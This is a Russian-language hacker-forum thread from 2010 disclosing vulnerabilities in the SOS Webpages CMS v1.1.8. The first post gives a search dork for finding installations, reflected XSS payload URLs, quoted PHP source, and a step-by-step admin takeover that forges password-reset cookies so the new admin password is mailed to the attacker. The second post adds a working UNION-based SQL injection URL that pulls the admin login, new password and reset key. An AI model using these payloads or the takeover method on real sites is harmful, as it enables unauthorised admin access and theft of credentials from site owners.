ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Уязвимости SOS Webpages
  #1  
Старый 14.02.2010, 17:31
Аватар для nikp
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию Уязвимости SOS Webpages

SOS Webpages v1.1.8
http://sourceforge.net/projects/soswebpages/

Easy to learn website management system for novices wanting to manage site content.
Simple content management system for non-profit organizations, small businesses, professional offices,
small churches. Linux, Apache, PHP, MySQL for CMS.

dork "Powered by SOS Webpages"
--------------------
pXSS
http://localhost/soswp_1.1.8/admin/login.php?error=user&uri=admin_edit_page.php?pages _id=1>"><script>alert(121212);</script>
http://localhost/soswp_1.1.8/admin/login.php?sitelink=true&uri=1>"><script>alert(1212 12);</script>
--------------------
Сброс пароля администратора

примерная схема работы скриптов forgot password
1 запрашивается e-mail администратора
2 проверяется на соответствие тому, что хранится в базе
3 в куки пишется мыло и соленый хеш этого мыла
4 жмем кнопку Send Reset Link
5 в куках проверяется соответствие мыла и хеша
6 генерится новый пароль, пишется в буфер, пароль и линк для активации отсылается на мыло из кук
7 получаем мылом login, password, reset link
8 заходим по линку, пароль из буфера переписывается на место рабочего пароля администратора.

Слабое место
Пароль отсылается на мыло из кук,
обработка разбита на четыре скрипта.

Смотрим подробнее:
первые два скрипта нам не понадобятся, сами сформируем нужную информацию.

admin/admin_password_reset3.php
PHP код:
/*    admin_password_reset3.php is part of the password recover process. */

include "admin_queries.php";
$admin_email=$_COOKIE["submitted_email"];
$gate=MD5($admin_email "SOSWebpages");
$gateway=$_COOKIE["gate"];

...

if (
$gate==$gateway) {

/*  Make a key and a new password
    Insert the key and the password in the database
    Email the link with the key
    When link is clicked key is checked, password is reset to new password, client sent to login.

    */
// Make a password
$chars "ef3gSThij789ABCDEFkmnpqrstuvwxyz2456GHIJKLMNPQRUVWXYZ";
srand((double)microtime()*1000000);
$i 0;
$pass '' ;

while (
$i <= 4) {
    
$num rand() % 50;
    
$tmp substr($chars$num1);
    
$pass $pass $tmp;
    
$i++;
 }
 
$key=MD5($pass);
 
$link="http://$site_uri/admin/admin_password_reset4.php?key=$key";

 
//insert in the database
$query "UPDATE " $dbprefix "hw_admin SET admin_newpassword='$pass', admin_key='$key' WHERE admin_id=1";
$dbh=mysql_connect($dbhhost,$dbhuser,$dbhpassword) or die ('I cannot connect to the database because: ' mysql_error());
mysql_select_db($dbhdatabasename);
 
mysql_query($query);

// Some data for the message
$mailTo $admin_email;
$mailFrom "website@$site_uri";
$mailFromName "$site_uri";
$mailSubject PASSWORD_RESET;
$mailMessage USERNAME_IS " : $admin_user

PASSWORD_WILL_BE ": $pass

NOTICE_AND_LINK ":

$link

LOGIN_WITH_NEW_AND_CHANGE;

// Send mail
mail($mailTo$mailSubject$mailMessage"From: $mailFromName <$mailFrom>\r\n"); 

admin/admin_password_reset4.php
PHP код:
Require "admin_queries.php";

$key=$_GET["key"];
$dbh=mysql_connect($dbhhost,$dbhuser,$dbhpassword) or die ('I cannot connect to the database because: ' mysql_error());
mysql_select_db($dbhdatabasename);
$query "SELECT admin_key, admin_newpassword, admin_time FROM " $dbprefix "hw_admin WHERE admin_id=1";

$result=mysql_query($query);
$num=mysql_num_rows($result);

$admin_time mysql_result($result,0,"admin_time");
$admin_newpassword=mysql_result($result,0,"admin_newpassword");
$admin_key=mysql_result($result,0,"admin_key");
$admin_password=MD5($admin_newpassword);
$year substr($admin_time,0,4);
$mon  substr($admin_time,5,2);
$day  substr($admin_time,8,2);
$hour substr($admin_time,11,2);
$min  substr($admin_time,14,2);
$sec  substr($admin_time,17,2);
$Presettime=mktime($hour,$min,$sec,$mon,$day,$year);

if (((
time()-$Presettime)<86400) and $admin_key == $key) {
  
$query "UPDATE " $dbprefix "hw_admin SET admin_password='$admin_password' WHERE admin_id=1";
  
mysql_query($query); 
Атака:
http://localhost/soswp_1.1.8/admin/admin_password_reset3.php
cookies:
submitted_email=MyMail@hotmail.com
gate=8de3b517babf6ba49104cc89edf057ee

где gate= md5 от строки MyMail@hotmail.comSOSWebpages
мыло указываем реальное (если нет возможности посмотеть непосредственно $dbprefix ."hw_admin")

получаем письмо вида

Код:
Your username is : admin
Your new password will be: IfutG 
You must click the following link or cut an paste it in your browser within 24 hours.  Here is the reset link:
http://localhost/SOSWP_1.1.8/admin/admin_password_reset4.php?key=58e69a383d5d41640d191ef2b6ef7fd6
Use the new password to login. It is HIGHLY recommended that you change your password to something you will remember.
Заходим по линку, вводим логин и новый пароль - мы в админке.

--------------------
 
Ответить с цитированием

  #2  
Старый 14.02.2010, 22:13
Аватар для nikp
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

SQL
найдено ElteRUS

Видел эту SQL по тексту (рядом аналогичная с event_id) но не нашел вызова.

Вызов найден, по умолчанию Photo Gallery не присутствует в главном меню, нужно его добавить и pages_id должен указывать на этот модуль.

Подтверждаю SQL_inj работает, теперь можно указывать фиктивное мыло, а информацию получать из
http://localhost/SOSWP_1.1.8/index.php?pages_id=6&photo_id=-1+union+select+1,2,3,concat_ws(0x2F,admin_user,adm in_newpassword,admin_key),5,6+from+sos_hw_admin

Последний раз редактировалось nikp; 14.02.2010 в 23:22..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Уязвимости SSI Root-access Статьи 16 26.12.2009 21:04
Перевод описания плагинов w3af Kuzya Статьи 4 07.06.2009 09:13
63% web-сайтов содержат опасные уязвимости Suicide Мировые новости 4 24.05.2009 21:51



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ